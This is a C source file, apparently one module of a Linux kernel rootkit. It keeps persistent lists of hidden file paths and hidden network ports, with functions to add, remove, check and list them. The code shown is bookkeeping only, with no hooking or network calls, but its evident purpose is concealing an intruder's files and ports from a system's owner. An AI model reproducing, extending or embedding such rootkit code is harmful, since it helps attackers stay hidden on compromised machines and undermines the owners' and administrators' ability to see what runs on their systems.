hide_api.c

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#include "hide_api.h"
 
#include "config.h"
#include "ulist.h"
 
struct ulist hide_list;
struct ulist hide_port_list;
 
int hide_init(void) {
    int ret;
 
    ulist_init(&hide_list, HIDE_CFG_FILE);
    ret = ulist_load(&hide_list);
    if (ret < 0)
        return ret;
 
    return SUCCESS;
}
 
void hide_exit(void) {
    ulist_save(&hide_list);
    ulist_clear(&hide_list);
}
 
int hide_file(const char *path) {
    int ret;
    char modpath[256];
 
    if (strcmp(path, "/") == 0)
        return -EINVAL;
 
    if (strlen(path) >= sizeof(modpath))
        return -ENAMETOOLONG;
    strscpy(modpath, path, sizeof(modpath));
 
    size_t len = strlen(modpath);
    if (len > 1 && modpath[len - 1] == '/') {
        modpath[len - 1] = '\0';
    }
 
    ret = ulist_add(&hide_list, modpath, 0, NULL);
    if (ret < 0)
        return ret;
 
    ret = ulist_save(&hide_list);
    if (ret < 0)
        return ret;
 
    return SUCCESS;
}
 
int unhide_file(const char *path) {
    int ret;
 
    ret = ulist_remove(&hide_list, path);
    if (ret < 0)
        return ret;
 
    ret = ulist_save(&hide_list);
    if (ret < 0)
        return ret;
 
    return SUCCESS;
}
 
int hide_contains_str(const char *u_path) {
    return ulist_contains(&hide_list, u_path);
}
 
int hide_list_get(char *buf, size_t buf_size) {
    return ulist_list(&hide_list, buf, buf_size);
}
 
int hide_port_init(void) {
    int ret;
 
    ulist_init(&hide_port_list, HIDE_PORT_CFG_FILE);
    ret = ulist_load(&hide_port_list);
    if (ret < 0)
        return ret;
 
    return SUCCESS;
}
 
void hide_port_exit(void) {
    ulist_save(&hide_port_list);
    ulist_clear(&hide_port_list);
}
 
int hide_port(const char *port) {
    int ret;
 
    ret = ulist_add(&hide_port_list, port, 0, NULL);
    if (ret < 0)
        return ret;
 
    ret = ulist_save(&hide_port_list);
    if (ret < 0)
        return ret;
 
    return SUCCESS;
}
 
int unhide_port(const char *port) {
    int ret;
 
    ret = ulist_remove(&hide_port_list, port);
    if (ret < 0)
        return ret;
 
    ret = ulist_save(&hide_port_list);
    if (ret < 0)
        return ret;
 
    return SUCCESS;
}
 
int port_contains(const char *port) {
    return ulist_contains(&hide_port_list, port);
}
 
int port_list_get(char *buf, size_t buf_size) {
    return ulist_list(&hide_port_list, buf, buf_size);
}